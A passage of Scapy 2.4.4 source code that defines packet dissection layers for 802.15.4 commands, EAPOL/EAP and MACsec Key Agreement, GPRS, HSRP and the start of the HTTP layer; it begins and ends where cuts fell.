Type: %Dot15d4CmdAssocReq.device_type% )") # noqa: E501 class Dot15d4CmdAssocResp(Packet): name = "802.15.4 Association Response Payload" fields_desc = [ XLEShortField("short_address", 0xFFFF), # Address assigned to device from coordinator (0xFFFF == none) # noqa: E501 # Association Status # 0x00 == successful # 0x01 == PAN at capacity # 0x02 == PAN access denied # 0x03 - 0x7f == Reserved # 0x80 - 0xff == Reserved for MAC primitive enumeration values ByteEnumField("association_status", 0x00, {0: 'successful', 1: 'PAN_at_capacity', 2: 'PAN_access_denied'}), # noqa: E501 ] def mysummary(self): return self.sprintf("802.15.4 Association Response Payload ( Association Status: %Dot15d4CmdAssocResp.association_status% Assigned Address: %Dot15d4CmdAssocResp.short_address% )") # noqa: E501 class Dot15d4CmdDisassociation(Packet): name = "802.15.4 Disassociation Notification Payload" fields_desc = [ # Disassociation Reason # 0x00 == Reserved # 0x01 == The coordinator wishes the device to leave the PAN # 0x02 == The device wishes to leave the PAN # 0x03 - 0x7f == Reserved # 0x80 - 0xff == Reserved for MAC primitive enumeration values ByteEnumField("disassociation_reason", 0x02, {1: 'coord_wishes_device_to_leave', 2: 'device_wishes_to_leave'}), # noqa: E501 ] def mysummary(self): return self.sprintf("802.15.4 Disassociation Notification Payload ( Disassociation Reason %Dot15d4CmdDisassociation.disassociation_reason% )") # noqa: E501 class Dot15d4CmdGTSReq(Packet): name = "802.15.4 GTS request command" fields_desc = [ # GTS Characteristics field (1 octet) # Reserved (bits 6-7) BitField("reserved", 0, 2), # Characteristics Type (bit 5) BitField("charact_type", 0, 1), # GTS Direction (bit 4) BitField("gts_dir", 0, 1), # GTS Length (bits 0-3) BitField("gts_len", 0, 4), ] def mysummary(self): return self.sprintf("802.15.4 GTS Request Command ( %Dot15d4CmdGTSReq.gts_len% : %Dot15d4CmdGTSReq.gts_dir% )") # noqa: E501 # PAN ID conflict notification command frame is not necessary, only Dot15d4Cmd with cmd_id = 5 ("PANIDConflictNotify") # noqa: E501 # Orphan notification command not necessary, only Dot15d4Cmd with cmd_id = 6 ("OrphanNotify") # noqa: E501 # Bindings # bind_layers(Dot15d4, Dot15d4Beacon, fcf_frametype=0) bind_layers(Dot15d4, Dot15d4Data, fcf_frametype=1) bind_layers(Dot15d4, Dot15d4Ack, fcf_frametype=2) bind_layers(Dot15d4, Dot15d4Cmd, fcf_frametype=3) # DLT Types # conf.l2types.register(DLT_IEEE802_15_4_WITHFCS, Dot15d4FCS) conf.l2types.register(DLT_IEEE802_15_4_NOFCS, Dot15d4) scapy-2.4.4/scapy/layers/eap.py000066400000000000000000000543671372370053500164210ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ Extensible Authentication Protocol (EAP) """ from __future__ import absolute_import from __future__ import print_function import struct from scapy.fields import BitField, ByteField, XByteField,\ ShortField, IntField, XIntField, ByteEnumField, StrLenField, XStrField,\ XStrLenField, XStrFixedLenField, LenField, FieldLenField, FieldListField,\ PacketField, PacketListField, ConditionalField, PadField from scapy.packet import Packet, Padding, bind_layers from scapy.layers.l2 import SourceMACField, Ether, CookedLinux, GRE, SNAP from scapy.config import conf from scapy.compat import orb, chb # # EAPOL # ######################################################################### # # EAPOL protocol version # IEEE Std 802.1X-2010 - Section 11.3.1 ######################################################################### # eapol_versions = { 0x1: "802.1X-2001", 0x2: "802.1X-2004", 0x3: "802.1X-2010", } ######################################################################### # # EAPOL Packet Types # IEEE Std 802.1X-2010 - Table 11.3 ######################################################################### # eapol_types = { 0x0: "EAP-Packet", # "EAPOL-EAP" in 801.1X-2010 0x1: "EAPOL-Start", 0x2: "EAPOL-Logoff", 0x3: "EAPOL-Key", 0x4: "EAPOL-Encapsulated-ASF-Alert", 0x5: "EAPOL-MKA", 0x6: "EAPOL-Announcement (Generic)", 0x7: "EAPOL-Announcement (Specific)", 0x8: "EAPOL-Announcement-Req" } class EAPOL(Packet): """ EAPOL - IEEE Std 802.1X-2010 """ name = "EAPOL" fields_desc = [ ByteEnumField("version", 1, eapol_versions), ByteEnumField("type", 0, eapol_types), LenField("len", None, "H") ] EAP_PACKET = 0 START = 1 LOGOFF = 2 KEY = 3 ASF = 4 def extract_padding(self, s): tmp_len = self.len return s[:tmp_len], s[tmp_len:] def hashret(self): return chb(self.type) + self.payload.hashret() def answers(self, other): if isinstance(other, EAPOL): if ((self.type == self.EAP_PACKET) and (other.type == self.EAP_PACKET)): return self.payload.answers(other.payload) return 0 def mysummary(self): return self.sprintf("EAPOL %EAPOL.type%") # # EAP # ######################################################################### # # EAP methods types # http://www.iana.org/assignments/eap-numbers/eap-numbers.xhtml#eap-numbers-4 ######################################################################### # eap_types = { 0: "Reserved", 1: "Identity", 2: "Notification", 3: "Legacy Nak", 4: "MD5-Challenge", 5: "One-Time Password (OTP)", 6: "Generic Token Card (GTC)", 7: "Allocated - RFC3748", 8: "Allocated - RFC3748", 9: "RSA Public Key Authentication", 10: "DSS Unilateral", 11: "KEA", 12: "KEA-VALIDATE", 13: "EAP-TLS", 14: "Defender Token (AXENT)", 15: "RSA Security SecurID EAP", 16: "Arcot Systems EAP", 17: "EAP-Cisco Wireless", 18: "GSM Subscriber Identity Modules (EAP-SIM)", 19: "SRP-SHA1", 20: "Unassigned", 21: "EAP-TTLS", 22: "Remote Access Service", 23: "EAP-AKA Authentication", 24: "EAP-3Com Wireless", 25: "PEAP", 26: "MS-EAP-Authentication", 27: "Mutual Authentication w/Key Exchange (MAKE)", 28: "CRYPTOCard", 29: "EAP-MSCHAP-V2", 30: "DynamID", 31: "Rob EAP", 32: "Protected One-Time Password", 33: "MS-Authentication-TLV", 34: "SentriNET", 35: "EAP-Actiontec Wireless", 36: "Cogent Systems Biometrics Authentication EAP", 37: "AirFortress EAP", 38: "EAP-HTTP Digest", 39: "SecureSuite EAP", 40: "DeviceConnect EAP", 41: "EAP-SPEKE", 42: "EAP-MOBAC", 43: "EAP-FAST", 44: "ZoneLabs EAP (ZLXEAP)", 45: "EAP-Link", 46: "EAP-PAX", 47: "EAP-PSK", 48: "EAP-SAKE", 49: "EAP-IKEv2", 50: "EAP-AKA", 51: "EAP-GPSK", 52: "EAP-pwd", 53: "EAP-EKE Version 1", 54: "EAP Method Type for PT-EAP", 55: "TEAP", 254: "Reserved for the Expanded Type", 255: "Experimental", } ######################################################################### # # EAP codes # http://www.iana.org/assignments/eap-numbers/eap-numbers.xhtml#eap-numbers-1 ######################################################################### # eap_codes = { 1: "Request", 2: "Response", 3: "Success", 4: "Failure", 5: "Initiate", 6: "Finish" } class EAP(Packet): """ RFC 3748 - Extensible Authentication Protocol (EAP) """ name = "EAP" fields_desc = [ ByteEnumField("code", 4, eap_codes), ByteField("id", 0), ShortField("len", None), ConditionalField(ByteEnumField("type", 0, eap_types), lambda pkt:pkt.code not in [ EAP.SUCCESS, EAP.FAILURE]), ConditionalField( FieldListField("desired_auth_types", [], ByteEnumField("auth_type", 0, eap_types), length_from=lambda pkt: pkt.len - 4), lambda pkt:pkt.code == EAP.RESPONSE and pkt.type == 3), ConditionalField( StrLenField("identity", '', length_from=lambda pkt: pkt.len - 5), lambda pkt: pkt.code == EAP.RESPONSE and hasattr(pkt, 'type') and pkt.type == 1), # noqa: E501 ConditionalField( StrLenField("message", '', length_from=lambda pkt: pkt.len - 5), lambda pkt: pkt.code == EAP.REQUEST and hasattr(pkt, 'type') and pkt.type == 1) # noqa: E501 ] ######################################################################### # # EAP codes # http://www.iana.org/assignments/eap-numbers/eap-numbers.xhtml#eap-numbers-1 ######################################################################### # REQUEST = 1 RESPONSE = 2 SUCCESS = 3 FAILURE = 4 INITIATE = 5 FINISH = 6 registered_methods = {} @classmethod def register_variant(cls): cls.registered_methods[cls.type.default] = cls @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt: c = orb(_pkt[0]) if c in [1, 2] and len(_pkt) >= 5: t = orb(_pkt[4]) return cls.registered_methods.get(t, cls) return cls def answers(self, other): if isinstance(other, EAP): if self.code == self.REQUEST: return 0 elif self.code == self.RESPONSE: if ((other.code == self.REQUEST) and (other.type == self.type)): return 1 elif other.code == self.RESPONSE: return 1 return 0 def mysummary(self): summary_str = "EAP %{eap_class}.code% %{eap_class}.type%".format( eap_class=self.__class__.__name__ ) if self.type == 1 and self.code == EAP.RESPONSE: summary_str += " %{eap_class}.identity%".format( eap_class=self.__class__.__name__ ) return self.sprintf(summary_str) def post_build(self, p, pay): if self.len is None: tmp_len = len(p) + len(pay) tmp_p = p[:2] + chb((tmp_len >> 8) & 0xff) + chb(tmp_len & 0xff) p = tmp_p + p[4:] return p + pay def guess_payload_class(self, _): return Padding class EAP_MD5(EAP): """ RFC 3748 - "Extensible Authentication Protocol (EAP)" """ name = "EAP-MD5" match_subclass = True fields_desc = [ ByteEnumField("code", 1, eap_codes), ByteField("id", 0), FieldLenField("len", None, fmt="H", length_of="optional_name", adjust=lambda p, x: x + 6 + (p.value_size or 0)), ByteEnumField("type", 4, eap_types), FieldLenField("value_size", None, fmt="B", length_of="value"), XStrLenField("value", '', length_from=lambda p: p.value_size), XStrLenField("optional_name", '', length_from=lambda p: 0 if p.len is None or p.value_size is None else (p.len - p.value_size - 6)) # noqa: E501 ] class EAP_TLS(EAP): """ RFC 5216 - "The EAP-TLS Authentication Protocol" """ name = "EAP-TLS" match_subclass = True fields_desc = [ ByteEnumField("code", 1, eap_codes), ByteField("id", 0), FieldLenField("len", None, fmt="H", length_of="tls_data", adjust=lambda p, x: x + 10 if p.L == 1 else x + 6), ByteEnumField("type", 13, eap_types), BitField('L', 0, 1), BitField('M', 0, 1), BitField('S', 0, 1), BitField('reserved', 0, 5), ConditionalField(IntField('tls_message_len', 0), lambda pkt: pkt.L == 1), # noqa: E501 XStrLenField('tls_data', '', length_from=lambda pkt: 0 if pkt.len is None else pkt.len - (6 + 4 * pkt.L)) # noqa: E501 ] class EAP_TTLS(EAP): """ RFC 5281 - "Extensible Authentication Protocol Tunneled Transport Layer Security Authenticated Protocol Version 0 (EAP-TTLSv0)" """ name = "EAP-TTLS" match_subclass = True fields_desc = [ ByteEnumField("code", 1, eap_codes), ByteField("id", 0), FieldLenField("len", None, fmt="H", length_of="data", adjust=lambda p, x: x + 10 if p.L == 1 else x + 6), ByteEnumField("type", 21, eap_types), BitField("L", 0, 1), BitField("M", 0, 1), BitField("S", 0, 1), BitField("reserved", 0, 2), BitField("version", 0, 3), ConditionalField(IntField("message_len", 0), lambda pkt: pkt.L == 1), XStrLenField("data", "", length_from=lambda pkt: 0 if pkt.len is None else pkt.len - (6 + 4 * pkt.L)) # noqa: E501 ] class EAP_PEAP(EAP): """ draft-josefsson-pppext-eap-tls-eap-05.txt - "Protected EAP Protocol (PEAP)" """ name = "PEAP" match_subclass = True fields_desc = [ ByteEnumField("code", 1, eap_codes), ByteField("id", 0), FieldLenField("len", None, fmt="H", length_of="tls_data", adjust=lambda p, x: x + 10 if p.L == 1 else x + 6), ByteEnumField("type", 25, eap_types), BitField("L", 0, 1), BitField("M", 0, 1), BitField("S", 0, 1), BitField("reserved", 0, 3), BitField("version", 1, 2), ConditionalField(IntField("tls_message_len", 0), lambda pkt: pkt.L == 1), # noqa: E501 XStrLenField("tls_data", "", length_from=lambda pkt: 0 if pkt.len is None else pkt.len - (6 + 4 * pkt.L)) # noqa: E501 ] class EAP_FAST(EAP): """ RFC 4851 - "The Flexible Authentication via Secure Tunneling Extensible Authentication Protocol Method (EAP-FAST)" """ name = "EAP-FAST" match_subclass = True fields_desc = [ ByteEnumField("code", 1, eap_codes), ByteField("id", 0), FieldLenField("len", None, fmt="H", length_of="data", adjust=lambda p, x: x + 10 if p.L == 1 else x + 6), ByteEnumField("type", 43, eap_types), BitField('L', 0, 1), BitField('M', 0, 1), BitField('S', 0, 1), BitField('reserved', 0, 2), BitField('version', 0, 3), ConditionalField(IntField('message_len', 0), lambda pkt: pkt.L == 1), XStrLenField('data', '', length_from=lambda pkt: 0 if pkt.len is None else pkt.len - (6 + 4 * pkt.L)) # noqa: E501 ] class LEAP(EAP): """ Cisco LEAP (Lightweight EAP) https://freeradius.org/rfc/leap.txt """ name = "Cisco LEAP" match_subclass = True fields_desc = [ ByteEnumField("code", 1, eap_codes), ByteField("id", 0), ShortField("len", None), ByteEnumField("type", 17, eap_types), ByteField('version', 1), XByteField('unused', 0), FieldLenField("count", None, "challenge_response", "B", adjust=lambda p, x: len(p.challenge_response)), # noqa: E501 XStrLenField("challenge_response", "", length_from=lambda p: 0 or p.count), # noqa: E501 StrLenField("username", "", length_from=lambda p: p.len - (8 + (0 or p.count))) # noqa: E501 ] ############################################################################# # IEEE 802.1X-2010 - MACsec Key Agreement (MKA) protocol ############################################################################# ######################################################################### # # IEEE 802.1X-2010 standard # Section 11.11.1 ######################################################################### # _parameter_set_types = { 1: "Live Peer List", 2: "Potential Peer List", 3: "MACsec SAK Use", 4: "Distributed SAK", 5: "Distributed CAK", 6: "KMD", 7: "Announcement", 255: "ICV Indicator" } # Used by MKAParamSet::dispatch_hook() to instantiate the appropriate class _param_set_cls = { 1: "MKALivePeerListParamSet", 2: "MKAPotentialPeerListParamSet", 3: "MKASAKUseParamSet", 4: "MKADistributedSAKParamSet", 255: "MKAICVSet", } class MACsecSCI(Packet): """ Secure Channel Identifier. """ ######################################################################### # # IEEE 802.1AE-2006 standard # Section 9.9 ######################################################################### # name = "SCI" fields_desc = [ SourceMACField("system_identifier"), ShortField("port_identifier", 0) ] def extract_padding(self, s): return "", s class MKAParamSet(Packet): """ Class from which every parameter set class inherits (except MKABasicParamSet, which has no "Parameter set type" field, and must come first in the list of parameter sets). """ MACSEC_DEFAULT_ICV_LEN = 16 EAPOL_MKA_DEFAULT_KEY_WRAP_LEN = 24 @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): """ Returns the right parameter set class. """ cls = conf.raw_layer if _pkt is not None: ptype = orb(_pkt[0]) return globals().get(_param_set_cls.get(ptype), conf.raw_layer) return cls class MKABasicParamSet(Packet): """ Basic Parameter Set (802.1X-2010, section 11.11). """ ######################################################################### # # IEEE 802.1X-2010 standard # Section 11.11 ######################################################################### # name = "Basic Parameter Set" fields_desc = [ ByteField("mka_version_id", 0), ByteField("key_server_priority", 0), BitField("key_server", 0, 1), BitField("macsec_desired", 0, 1), BitField("macsec_capability", 0, 2), BitField("param_set_body_len", 0, 12), PacketField("SCI", MACsecSCI(), MACsecSCI), XStrFixedLenField("actor_member_id", "", length=12), XIntField("actor_message_number", 0), XIntField("algorithm_agility", 0), PadField( XStrLenField( "cak_name", "", length_from=lambda pkt: (pkt.param_set_body_len - 28) ), 4, padwith=b"\x00" ) ] def extract_padding(self, s): return "", s class MKAPeerListTuple(Packet): """ Live / Potential Peer List parameter sets tuples (802.1X-2010, section 11.11). # noqa: E501 """ name = "Peer List Tuple" fields_desc = [ XStrFixedLenField("member_id", "", length=12), XStrFixedLenField("message_number", "", length=4), ] class MKALivePeerListParamSet(MKAParamSet): """ Live Peer List parameter sets (802.1X-2010, section 11.11). """ ######################################################################### # # IEEE 802.1X-2010 standard # Section 11.11 ######################################################################### # name = "Live Peer List Parameter Set" fields_desc = [ PadField( ByteEnumField( "param_set_type", 1, _parameter_set_types ), 2, padwith=b"\x00" ), ShortField("param_set_body_len", 0), PacketListField("member_id_message_num", [], MKAPeerListTuple) ] class MKAPotentialPeerListParamSet(MKAParamSet): """ Potential Peer List parameter sets (802.1X-2010, section 11.11). """ ######################################################################### # # IEEE 802.1X-2010 standard # Section 11.11 ######################################################################### # name = "Potential Peer List Parameter Set" fields_desc = [ PadField( ByteEnumField( "param_set_type", 2, _parameter_set_types ), 2, padwith=b"\x00" ), ShortField("param_set_body_len", 0), PacketListField("member_id_message_num", [], MKAPeerListTuple) ] class MKASAKUseParamSet(MKAParamSet): """ SAK Use Parameter Set (802.1X-2010, section 11.11). """ ######################################################################### # # IEEE 802.1X-2010 standard # Section 11.11 ######################################################################### # name = "SAK Use Parameter Set" fields_desc = [ ByteEnumField("param_set_type", 3, _parameter_set_types), BitField("latest_key_an", 0, 2), BitField("latest_key_tx", 0, 1), BitField("latest_key_rx", 0, 1), BitField("old_key_an", 0, 2), BitField("old_key_tx", 0, 1), BitField("old_key_rx", 0, 1), BitField("plain_tx", 0, 1), BitField("plain_rx", 0, 1), BitField("X", 0, 1), BitField("delay_protect", 0, 1), BitField("param_set_body_len", 0, 12), XStrFixedLenField("latest_key_key_server_member_id", "", length=12), XStrFixedLenField("latest_key_key_number", "", length=4), XStrFixedLenField("latest_key_lowest_acceptable_pn", "", length=4), XStrFixedLenField("old_key_key_server_member_id", "", length=12), XStrFixedLenField("old_key_key_number", "", length=4), XStrFixedLenField("old_key_lowest_acceptable_pn", "", length=4) ] class MKADistributedSAKParamSet(MKAParamSet): """ Distributed SAK parameter set (802.1X-2010, section 11.11). """ ######################################################################### # # IEEE 802.1X-2010 standard # Section 11.11 ######################################################################### # name = "Distributed SAK parameter set" fields_desc = [ ByteEnumField("param_set_type", 4, _parameter_set_types), BitField("distributed_an", 0, 2), BitField("confidentiality_offset", 0, 2), BitField("unused", 0, 4), ShortField("param_set_body_len", 0), XStrFixedLenField("key_number", "", length=4), ConditionalField( XStrFixedLenField("macsec_cipher_suite", "", length=8), lambda pkt: pkt.param_set_body_len > 28 ), XStrFixedLenField( "sak_aes_key_wrap", "", length=MKAParamSet.EAPOL_MKA_DEFAULT_KEY_WRAP_LEN ) ] class MKADistributedCAKParamSet(MKAParamSet): """ Distributed CAK Parameter Set (802.1X-2010, section 11.11). """ ######################################################################### # # IEEE 802.1X-2010 standard # Section 11.11 ######################################################################### # name = "Distributed CAK parameter set" fields_desc = [ PadField( ByteEnumField( "param_set_type", 5, _parameter_set_types ), 2, padwith=b"\x00" ), ShortField("param_set_body_len", 0), XStrFixedLenField( "cak_aes_key_wrap", "", length=MKAParamSet.EAPOL_MKA_DEFAULT_KEY_WRAP_LEN ), XStrField("cak_key_name", "") ] class MKAICVSet(MKAParamSet): """ ICV (802.1X-2010, section 11.11). """ ######################################################################### # # IEEE 802.1X-2010 standard # Section 11.11 ######################################################################### # name = "ICV" fields_desc = [ PadField( ByteEnumField( "param_set_type", 255, _parameter_set_types ), 2, padwith=b"\x00" ), ShortField("param_set_body_len", 0), XStrFixedLenField("icv", "", length=MKAParamSet.MACSEC_DEFAULT_ICV_LEN) ] class MKAParamSetPacketListField(PacketListField): """ PacketListField that handles the parameter sets. """ PARAM_SET_LEN_MASK = 0b0000111111111111 def m2i(self, pkt, m): return MKAParamSet(m) def getfield(self, pkt, s): lst = [] remain = s while remain: len_bytes = struct.unpack("!H", remain[2:4])[0] param_set_len = self.__class__.PARAM_SET_LEN_MASK & len_bytes current = remain[:4 + param_set_len] remain = remain[4 + param_set_len:] current_packet = self.m2i(pkt, current) lst.append(current_packet) return remain, lst class MKAPDU(Packet): """ MACsec Key Agreement Protocol Data Unit. """ ######################################################################### # # IEEE 802.1X-2010 standard # Section 11.11 ######################################################################### # name = "MKPDU" fields_desc = [ PacketField("basic_param_set", "", MKABasicParamSet), MKAParamSetPacketListField("parameter_sets", [], MKAParamSet), ] def extract_padding(self, s): return "", s bind_layers(Ether, EAPOL, type=34958) bind_layers(Ether, EAPOL, dst='01:80:c2:00:00:03', type=34958) bind_layers(CookedLinux, EAPOL, proto=34958) bind_layers(GRE, EAPOL, proto=34958) bind_layers(EAPOL, EAP, type=0) bind_layers(SNAP, EAPOL, code=34958) bind_layers(EAPOL, MKAPDU, type=5) scapy-2.4.4/scapy/layers/gprs.py000066400000000000000000000010301372370053500166020ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ GPRS (General Packet Radio Service) for mobile data communication. """ from scapy.fields import StrStopField from scapy.packet import Packet, bind_layers from scapy.layers.inet import IP class GPRS(Packet): name = "GPRSdummy" fields_desc = [ StrStopField("dummy", "", b"\x65\x00\x00", 1) ] bind_layers(GPRS, IP,) scapy-2.4.4/scapy/layers/hsrp.py000066400000000000000000000072661372370053500166240ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license ############################################################################# # # # hsrp.py --- HSRP protocol support for Scapy # # # # Copyright (C) 2010 Mathieu RENARD mathieu.renard(at)gmail.com # # # # This program is free software; you can redistribute it and/or modify it # # under the terms of the GNU General Public License version 2 as # # published by the Free Software Foundation; version 2. # # # # This program is distributed in the hope that it will be useful, but # # WITHOUT ANY WARRANTY; without even the implied warranty of # # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # # General Public License for more details. # # # ############################################################################# # HSRP Version 1 # Ref. RFC 2281 # HSRP Version 2 # Ref. http://www.smartnetworks.jp/2006/02/hsrp_8_hsrp_version_2.html ## # $Log: hsrp.py,v $ # Revision 0.2 2011/05/01 15:23:34 mrenard # Cleanup code """ HSRP (Hot Standby Router Protocol): proprietary redundancy protocol for Cisco routers. # noqa: E501 """ from scapy.fields import ByteEnumField, ByteField, IPField, SourceIPField, \ StrFixedLenField, XIntField, XShortField from scapy.packet import Packet, bind_layers, bind_bottom_up from scapy.layers.inet import DestIPField, UDP from scapy.layers.inet6 import DestIP6Field class HSRP(Packet): name = "HSRP" fields_desc = [ ByteField("version", 0), ByteEnumField("opcode", 0, {0: "Hello", 1: "Coup", 2: "Resign", 3: "Advertise"}), # noqa: E501 ByteEnumField("state", 16, {0: "Initial", 1: "Learn", 2: "Listen", 4: "Speak", 8: "Standby", 16: "Active"}), # noqa: E501 ByteField("hellotime", 3), ByteField("holdtime", 10), ByteField("priority", 120), ByteField("group", 1), ByteField("reserved", 0), StrFixedLenField("auth", b"cisco" + b"\00" * 3, 8), IPField("virtualIP", "192.168.1.1")] def guess_payload_class(self, payload): if self.underlayer.len > 28: return HSRPmd5 else: return Packet.guess_payload_class(self, payload) class HSRPmd5(Packet): name = "HSRP MD5 Authentication" fields_desc = [ ByteEnumField("type", 4, {4: "MD5 authentication"}), ByteField("len", None), ByteEnumField("algo", 0, {1: "MD5"}), ByteField("padding", 0x00), XShortField("flags", 0x00), SourceIPField("sourceip", None), XIntField("keyid", 0x00), StrFixedLenField("authdigest", b"\00" * 16, 16)] def post_build(self, p, pay): if self.len is None and pay: tmp_len = len(pay) p = p[:1] + hex(tmp_len)[30:] + p[30:] return p bind_bottom_up(UDP, HSRP, dport=1985) bind_bottom_up(UDP, HSRP, sport=1985) bind_bottom_up(UDP, HSRP, dport=2029) bind_bottom_up(UDP, HSRP, sport=2029) bind_layers(UDP, HSRP, dport=1985, sport=1985) bind_layers(UDP, HSRP, dport=2029, sport=2029) DestIPField.bind_addr(UDP, "224.0.0.2", dport=1985) DestIP6Field.bind_addr(UDP, "ff02::66", dport=2029) scapy-2.4.4/scapy/layers/http.py000066400000000000000000000541541372370053500166250ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) 2019 Gabriel Potter # Copyright (C) 2012 Luca Invernizzi # Copyright (C) 2012 Steeve Barbeau # This program is published under a GPLv2 license """ HTTP 1.0 layer. Load using:: from scapy.layers.http import * Or (console only):: >>> load_layer("http") Note that this layer ISN'T loaded by default, as quite experimental for now. To follow HTTP packets streams = group packets together to get the whole request/answer, use ``TCPSession`` as: >>> sniff(session=TCPSession) # Live on-the-flow session >>> sniff(offline="./http_chunk.pcap", session=TCPSession) # pcap This will decode HTTP packets using ``Content_Length`` or chunks, and will also decompress the packets when needed. Note: on failure, decompression will be ignored. You can turn auto-decompression/auto-compression off with: >>> conf.contribs["http"]["auto_compression"] = False (Defaults to True) """ # This file is a modified version of the former scapy_http plugin. # It was reimplemented for scapy 2.4.3+ using sessions, stream handling. # Original Authors : Steeve Barbeau, Luca Invernizzi # Originally published under a GPLv2 license import os import re import struct import subprocess from scapy.compat import plain_str, bytes_encode, \ gzip_compress, gzip_decompress from scapy.config import conf from scapy.consts import WINDOWS from scapy.error import warning, log_loading from scapy.fields import StrField from scapy.packet import Packet, bind_layers, bind_bottom_up, Raw from scapy.utils import get_temp_file, ContextManagerSubprocess from scapy.layers.inet import TCP, TCP_client from scapy.modules import six try: import brotli _is_brotli_available = True except ImportError: _is_brotli_available = False if "http" not in conf.contribs: conf.contribs["http"] = {} conf.contribs["http"]["auto_compression"] = True # https://en.wikipedia.org/wiki/List_of_HTTP_header_fields GENERAL_HEADERS = [ "Cache-Control", "Connection", "Permanent", "Content-Length", "Content-MD5", "Content-Type", "Date", "Keep-Alive", "Pragma", "Upgrade", "Via", "Warning" ] COMMON_UNSTANDARD_GENERAL_HEADERS = [ "X-Request-ID", "X-Correlation-ID" ] REQUEST_HEADERS = [ "A-IM", "Accept", "Accept-Charset", "Accept-Encoding", "Accept-Language", "Accept-Datetime", "Access-Control-Request-Method", "Access-Control-Request-Headers", "Authorization", "Cookie", "Expect", "Forwarded", "From", "Host", "HTTP2-Settings", "If-Match", "If-Modified-Since", "If-None-Match", "If-Range", "If-Unmodified-Since", "Max-Forwards", "Origin", "Proxy-Authorization", "Range", "Referer", "TE", "User-Agent" ] COMMON_UNSTANDARD_REQUEST_HEADERS = [ "Upgrade-Insecure-Requests", "Upgrade-Insecure-Requests", "X-Requested-With", "DNT", "X-Forwarded-For", "X-Forwarded-Host", "X-Forwarded-Proto", "Front-End-Https", "X-Http-Method-Override", "X-ATT-DeviceId", "X-Wap-Profile", "Proxy-Connection", "X-UIDH", "X-Csrf-Token", "Save-Data", ] RESPONSE_HEADERS = [ "Access-Control-Allow-Origin", "Access-Control-Allow-Credentials", "Access-Control-Expose-Headers", "Access-Control-Max-Age", "Access-Control-Allow-Methods", "Access-Control-Allow-Headers", "Accept-Patch", "Accept-Ranges", "Age", "Allow", "Alt-Svc", "Content-Disposition", "Content-Encoding", "Content-Language", "Content-Location", "Content-Range", "Delta-Base", "ETag", "Expires", "IM", "Last-Modified", "Link", "Location", "Permanent", "P3P", "Proxy-Authenticate", "Public-Key-Pins", "Retry-After", "Server", "Set-Cookie", "Strict-Transport-Security", "Trailer", "Transfer-Encoding", "Tk", "Vary", "WWW-Authenticate", "X-Frame-Options", ] COMMON_UNSTANDARD_RESPONSE_HEADERS = [ "Content-Security-Policy", "X-Content-Security-Policy", "X-WebKit-CSP", "Refresh", "Status", "Timing-Allow-Origin", "X-Content-Duration", "X-Content-Type-Options", "X-Powered-By", "X-UA-Compatible", "X-XSS-Protection", ] # Dissection / Build tools def _strip_header_name(name): """Takes a header key (i.e., "Host" in "Host: www.google.com", and returns a stripped representation of it """ return plain_str(name.strip()).replace("-", "_") def _header_line(name, val): """Creates a HTTP header line""" # Python 3.4 doesn't support % on bytes return bytes_encode(name) + b": " + bytes_encode(val) def _parse_headers(s): headers = s.split(b"\r\n") headers_found = {} for header_line in headers: try: key, value = header_line.split(b':', 1) except ValueError: continue header_key = _strip_header_name(key).lower() headers_found[header_key] = (key, value.strip()) return headers_found def _parse_headers_and_body(s): ''' Takes a HTTP packet, and returns a tuple containing: _ the first line (e.g., "GET ...") _ the headers in a dictionary _ the body ''' crlfcrlf = b"\r\n\r\n" crlfcrlfIndex = s.find(crlfcrlf) if crlfcrlfIndex != -1: headers = s[:crlfcrlfIndex + len(crlfcrlf)] body = s[crlfcrlfIndex + len(crlfcrlf):] else: headers = s body = b'' first_line, headers = headers.split(b"\r\n", 1) return first_line.strip(), _parse_headers(headers), body def _dissect_headers(obj, s): """Takes a HTTP packet as the string s, and populates the scapy layer obj (either HTTPResponse or HTTPRequest). Returns the first line of the HTTP packet, and the body """ first_line, headers, body = _parse_headers_and_body(s) for f in obj.fields_desc: # We want to still parse wrongly capitalized fields stripped_name = _strip_header_name(f.name).lower() try: _, value = headers.pop(stripped_name) except KeyError: continue obj.setfieldval(f.name, value) if headers: headers = {key: value for key, value in six.itervalues(headers)} obj.setfieldval('Unknown_Headers', headers) return first_line, body class _HTTPContent(Packet): # https://developer.mozilla.org/fr/docs/Web/HTTP/Headers/Transfer-Encoding def _get_encodings(self): encodings = [] if isinstance(self, HTTPResponse): if self.Transfer_Encoding: encodings += [plain_str(x).strip().lower() for x in plain_str(self.Transfer_Encoding).split(",")] if self.Content_Encoding: encodings += [plain_str(x).strip().lower() for x in plain_str(self.Content_Encoding).split(",")] return encodings def hashret(self): # The only field both Answers and Responses have in common return self.Http_Version def post_dissect(self, s): if not conf.contribs["http"]["auto_compression"]: return s encodings = self._get_encodings() # Un-chunkify if "chunked" in encodings: data = b"" while s: length, _, body = s.partition(b"\r\n") try: length = int(length, 16) except ValueError: # Not a valid chunk. Ignore break else: load = body[:length] if body[length:length + 2] != b"\r\n": # Invalid chunk. Ignore break s = body[length + 2:] data += load if not s: s = data # Decompress try: if "deflate" in encodings: import zlib s = zlib.decompress(s) elif "gzip" in encodings: s = gzip_decompress(s) elif "compress" in encodings: import lzw s = lzw.decompress(s) elif "br" in encodings: if _is_brotli_available: s = brotli.decompress(s) else: log_loading.info( "Can't import brotli. brotli decompression " "will be ignored !" ) except Exception: # Cannot decompress - probably incomplete data pass return s def post_build(self, pkt, pay): if not conf.contribs["http"]["auto_compression"]: return pkt + pay encodings = self._get_encodings() # Compress if "deflate" in encodings: import zlib pay = zlib.compress(pay) elif "gzip" in encodings: pay = gzip_compress(pay) elif "compress" in encodings: import lzw pay = lzw.compress(pay) elif "br" in encodings: if _is_brotli_available: pay = brotli.compress(pay) else: log_loading.info( "Can't import brotli. brotli compression will " "be ignored !" ) return pkt + pay def self_build(self, field_pos_list=None): ''' Takes an HTTPRequest or HTTPResponse object, and creates its string representation.''' if not isinstance(self.underlayer, HTTP): warning( "An 